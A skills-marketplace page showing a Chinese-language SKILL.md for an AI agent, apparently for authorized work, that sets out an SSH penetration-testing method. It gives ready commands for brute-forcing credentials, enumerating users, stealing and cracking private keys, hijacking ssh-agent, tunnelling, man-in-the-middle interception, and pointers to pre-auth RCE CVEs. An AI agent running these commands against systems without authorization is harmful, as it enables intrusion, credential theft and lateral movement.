Skip to main content

ssh-pentesting

SSH 服务(22 端口)渗透测试方法论。涵盖 SSH 服务发现与版本识别、认证方式枚举、用户名枚举(CVE-2018-15473)、凭据爆破(密码/密钥)、SSH 隧道与端口转发、已知漏洞利用、SSH 密钥窃取与复用。 当 Agent 扫描发现 22 端口开放、需要测试 SSH 认证强度、枚举 SSH 用户、或通过 SSH 建立隧道进行横向移动时,触发此 Skill。

Source facts

Repository
wgpsec/AboutSecurity
Last source activity
October 15, 2026 at 06:58
Detected SKILL.md language
Chinese
Stars
1,807
Forks
250

Install options

The review-first prompt is selected by default. You can switch to a direct command or download a local copy.

Review the source files

Read SKILL.md and any companion files shown by SkillsMP before deciding whether to install.

File Explorer
2 files

Showing SKILL.md

SKILL.md
Source instructions · Read-only preview
name
ssh-pentesting
description
SSH 服务(22 端口)渗透测试方法论。涵盖 SSH 服务发现与版本识别、认证方式枚举、用户名枚举(CVE-2018-15473)、凭据爆破(密码/密钥)、SSH 隧道与端口转发、已知漏洞利用、SSH 密钥窃取与复用。 当 Agent 扫描发现 22 端口开放、需要测试 SSH 认证强度、枚举 SSH 用户、或通过 SSH 建立隧道进行横向移动时,触发此 Skill。
metadata
{"tags":"ssh,sftp,22端口,密钥认证,隧道,端口转发,openssh","category":"exploit"}
# SSH 渗透测试方法论 (22) ## 深入参考 - SSH 枚举、爆破、隧道、密钥利用、漏洞详细命令 -> 读 [references/ssh-techniques.md](references/ssh-techniques.md) --- ## 整体决策树 ``` 发现 22 端口开放 ├─ Phase 1: 服务发现与版本识别 │ ├─ Banner 抓取 -> 确定 SSH 实现 (OpenSSH / Dropbear / libssh / Erlang) │ ├─ 版本号 -> 对照已知漏洞 (Phase 7) │ └─ 算法审计 (ssh-audit) -> 标记弱密码套件 ├─ Phase 2: 认证方式枚举 │ ├─ 支持 publickey + password -> 可尝试密码爆破 (Phase 4) │ ├─ 仅 publickey -> 搜索泄露密钥 / 弱密钥 (Phase 4) │ ├─ keyboard-interactive -> 可能存在 2FA / PAM │ └─ gssapi-with-mic -> Kerberos SSO 环境 ├─ Phase 3: 用户名枚举 │ ├─ OpenSSH < 7.7 -> CVE-2018-15473 时序枚举 │ └─ 已知用户名 -> 进入 Phase 4 ├─ Phase 4: 凭据攻击 │ ├─ 密码爆破 (hydra / medusa / ncrack) │ ├─ 私钥爆破 (已知密钥集 / Debian 弱 PRNG 密钥) │ └─ 默认凭据 (设备厂商默认 SSH 密码) ├─ Phase 5: SSH 隧道与端口转发 │ ├─ 本地转发 (-L) -> 访问内网服务 │ ├─ 远程转发 (-R) -> 反向代理到攻击机 │ ├─ 动态转发 (-D) -> SOCKS 代理 │ └─ SFTP 隧道 -> 受限环境下数据传输 ├─ Phase 6: 密钥窃取与复用 │ ├─ 目标主机 -> 搜集 id_rsa / id_ed25519 / authorized_keys │ ├─ SSH-Snake -> 自动化密钥发现与横向移动 │ └─ ssh-agent 劫持 -> 复用内存中的密钥 └─ Phase 7: 已知漏洞 ├─ CVE-2024-6387 (regreSSHion) — OpenSSH 8.5p1-9.7p1 pre-auth RCE ├─ CVE-2024-3094 (xz 后门) — 供应链攻击 liblzma hook ├─ CVE-2025-32433 — Erlang/OTP SSH pre-auth RCE ├─ CVE-2018-10933 — libssh 认证绕过 └─ CVE-2018-15473 — OpenSSH 用户名枚举 ``` --- ## Phase 1: 服务发现与版本识别 ### 1.1 Banner 抓取与版本探测 ```bash # 手动 Banner 抓取 nc -vn <IP> 22 # Nmap 服务版本 + 默认脚本 nmap -sV -sC -p 22 <IP> # 获取服务器公钥指纹 ssh-keyscan -t rsa <IP> -p 22 ``` ### 1.2 算法审计 ```bash # ssh-audit — 自动分析算法强度与已知 CVE ssh-audit <IP> # Nmap 算法枚举 nmap -p 22 --script ssh2-enum-algos <IP> nmap -p 22 --script ssh-hostkey --script-args ssh_hostkey=full <IP> ``` **关键判断**: - OpenSSH 8.5p1–9.7p1 -> 检查 CVE-2024-6387 (regreSSHion),立即进入 Phase 7 - libssh 0.6–0.8 (服务端) -> CVE-2018-10933 认证绕过 - Erlang/OTP SSH -> CVE-2025-32433 pre-auth RCE - 存在弱算法 (ssh-dss / arcfour / CBC) -> 记录,可能用于降级攻击 --- ## Phase 2: 认证方式枚举 ### 2.1 探测支持的认证方法 ```bash # 使用 verbose 模式查看认证方式 ssh -v <IP> -o PreferredAuthentications=none # Nmap 认证方式检测 nmap -p 22 --script ssh-auth-methods --script-args="ssh.user=root" <IP> ``` ### 2.2 认证方式决策树 ``` 认证方式枚举结果 ├─ publickey + password │ ├─ 尝试密码爆破 (Phase 4) │ └─ 搜索泄露密钥 ├─ 仅 publickey │ ├─ 搜索 authorized_keys 泄露 │ ├─ 尝试已知弱密钥 (Debian PRNG) │ └─ 搜索 Git 仓库 / 备份中的私钥 ├─ password 被禁用但 keyboard-interactive 存在 │ └─ 强制指定: ssh -o PreferredAuthentications=keyboard-interactive <IP> └─ gssapi-with-mic ├─ Kerberos 域环境 -> 尝试 TGT 认证 └─ kinit <user> && ssh -o GSSAPIAuthentication=yes <user>@<host.fqdn> ``` --- ## Phase 3: 用户名枚举 ### 3.1 CVE-2018-15473 时序枚举 适用于 OpenSSH < 7.7 — 通过认证请求的响应时间差异判断用户是否存在。 ```bash # Metasploit 模块 msfconsole -q -x 'use scanner/ssh/ssh_enumusers; set RHOSTS <IP>; set USER_FILE users.txt; run; exit' ``` ### 3.2 辅助枚举手段 ``` 用户名来源 ├─ OSINT (LinkedIn / 企业邮箱格式推断) ├─ 已获得的其他服务枚举结果 (LDAP / SMB / Web) ├─ 默认用户名尝试: root, admin, user, test, git, deploy, ubuntu, ec2-user └─ Shodan / Censys 历史数据 ``` --- ## Phase 4: 凭据攻击 ### 4.1 攻击路径选择 ``` 已获得用户名列表 ├─ 密码爆破 │ ├─ hydra -l <user> -P wordlist.txt -t 4 ssh://<IP> │ ├─ medusa -h <IP> -u <user> -P wordlist.txt -M ssh │ └─ ncrack -p 22 --user <user> -P wordlist.txt <IP> │ 注意: SSH 通常有 MaxAuthTries 限制 (默认 6),低速爆破 ├─ 私钥爆破 │ ├─ Nmap: nmap --script ssh-publickey-acceptance --script-args 'ssh.publickey=keys/' -p 22 <IP> │ ├─ Metasploit: use scanner/ssh/ssh_identify_pubkeys │ └─ ssh-keybrute (Python3, 支持旧算法) ├─ 已知弱密钥 │ ├─ Debian 预测 PRNG 密钥集 (g0tmi1k/debian-ssh) │ └─ 厂商默认密钥 (rapid7/ssh-badkeys) └─ 默认凭据 └─ -> 读 references/ssh-techniques.md #默认凭据表 ``` ### 4.2 SFTP 爆破 SFTP 使用相同的 SSH 认证机制,爆破命令相同。获得 SFTP 访问后注意检测命令执行绕过。 ```bash # 即使 shell 被限制为 nologin,尝试直接执行命令 ssh -v <user>@<IP> /bin/bash ``` --- ## Phase 5: SSH 隧道与端口转发 ### 5.1 转发类型决策树 ``` 已获得 SSH 访问 ├─ 需要访问目标内网服务 │ └─ 本地转发: ssh -L <本地端口>:<内网IP>:<内网端口> <user>@<IP> ├─ 需要让目标访问攻击机服务 │ └─ 远程转发: ssh -R <远程端口>:127.0.0.1:<本地端口> <user>@<IP> ├─ 需要全流量代理 │ └─ 动态转发: ssh -D 1080 <user>@<IP> │ └─ 配合 proxychains 使用 ├─ SFTP 隧道 (受限环境) │ └─ ssh -L <端口>:<目标>:<端口> -N -f <user>@<跳板IP> └─ SSH 配置限制转发 ├─ AllowTcpForwarding no -> 隧道被禁用 └─ PermitTunnel no -> TUN/TAP 被禁用 └─ 但可能绕过: 通过 ProxyCommand 或 nc 实现简易隧道 ``` ### 5.2 SFTP 符号链接利用 在 chroot SFTP 环境中,若有写权限,可创建指向系统根目录的符号链接: ```bash sftp> symlink / froot ``` 如果该链接可通过 Web 等非 chroot 服务访问,则实现文件系统穿越。 --- ## Phase 6: 密钥窃取与复用 ### 6.1 密钥搜集决策树 ``` 已获得目标主机访问 ├─ 搜索私钥文件 │ ├─ 常见路径: ~/.ssh/id_rsa, ~/.ssh/id_ed25519, ~/.ssh/id_ecdsa │ ├─ 配置文件: /etc/ssh/ssh_config, ~/.ssh/config (可能含代理跳板) │ └─ 历史命令 / .bash_history 中的 ssh 连接记录 ├─ 检查 authorized_keys -> 关联其他主机 ├─ known_hosts -> 发现网络内其他 SSH 主机 │ └─ 若未哈希 -> 直接获取 IP/hostname ├─ SSH Agent 劫持 │ ├─ 检查 SSH_AUTH_SOCK 环境变量 │ └─ 存在 -> SSH_AUTH_SOCK=/tmp/ssh-xxx/agent.xxx ssh <next_target> └─ SSH-Snake 自动化 └─ 自动发现本机私钥 -> 匹配可达主机 -> 递归传播 ``` ### 6.2 密钥破解 ```bash # 加密私钥 -> 提取哈希后离线破解 ssh2john id_rsa > id_rsa.hash john --wordlist=rockyou.txt id_rsa.hash hashcat -m 22921 id_rsa.hash rockyou.txt ``` --- ## Phase 7: 已知漏洞 ### 7.1 漏洞检测决策树 ``` SSH 版本已知 ├─ OpenSSH 8.5p1–9.7p1 │ └─ CVE-2024-6387 (regreSSHion) — pre-auth 信号处理竞态 RCE │ ├─ 确认: ssh -V 获取版本; 检查 LoginGraceTime 是否非零 │ └─ -> 读 references/ssh-techniques.md #CVE-2024-6387 ├─ 系统使用 xz 5.6.0 / 5.6.1 (x86-64 Linux + systemd) │ └─ CVE-2024-3094 — xz/liblzma 供应链后门 │ ├─ 确认: xz --version; ldd /usr/sbin/sshd | grep lzma │ └─ -> 读 references/ssh-techniques.md #CVE-2024-3094 ├─ Erlang/OTP SSH (OTP < 27.3.3 / 26.2.5.11 / 25.3.2.20) │ └─ CVE-2025-32433 — pre-auth 状态机绕过 RCE │ ├─ 确认: 端口 22/2022/830/2222 上的 Erlang banner │ └─ -> 读 references/ssh-techniques.md #CVE-2025-32433 ├─ libssh 0.6–0.8 (服务端) │ └─ CVE-2018-10933 — 客户端发送 USERAUTH_SUCCESS 绕过认证 ├─ OpenSSH < 7.7 │ └─ CVE-2018-15473 — 用户名枚举 (Phase 3) └─ 批量漏洞扫描 └─ nmap -p 22 --script "ssh-vuln*,ssh2-enum-algos" <IP> ``` ### 7.2 SSH-MitM (中间人) 适用于与目标处于同一网络: ``` SSH 中间人攻击 ├─ ARP 欺骗 / DNS 欺骗 -> 重定向流量到攻击机 ├─ ssh-mitm 工具 -> 代理 SSH 连接 │ ├─ 截获用户名与密码 │ ├─ 转发命令到真实服务端 │ └─ 用户端无感知 (需处理主机密钥警告) └─ 前提: 目标未严格验证主机密钥 (StrictHostKeyChecking) ``` --- ## 配置审计 (获得访问后) 获取访问权限后检查 `/etc/ssh/sshd_config` 中的危险配置: | 配置项 | 风险说明 | |-------|---------| | `PermitRootLogin yes` | 允许 root 直接登录 | | `PasswordAuthentication yes` | 允许密码认证 (爆破风险) | | `PermitEmptyPasswords yes` | 允许空密码登录 | | `AllowTcpForwarding yes` | 允许端口转发 (隧道) | | `X11Forwarding yes` | 允许 X11 转发 (键盘记录) | | `AuthorizedKeysFile` 自定义路径 | 后门密钥可能隐藏在非标准位置 | | `ForceCommand` 未设置 | SFTP 用户可能执行任意命令 | **关键文件**: - `ssh_config` / `sshd_config` — 客户端/服务端配置 - `authorized_keys` — 授权公钥 - `known_hosts` — 已知主机 (可泄露网络拓扑) - `id_rsa` / `id_ed25519` — 私钥文件
View on GitHub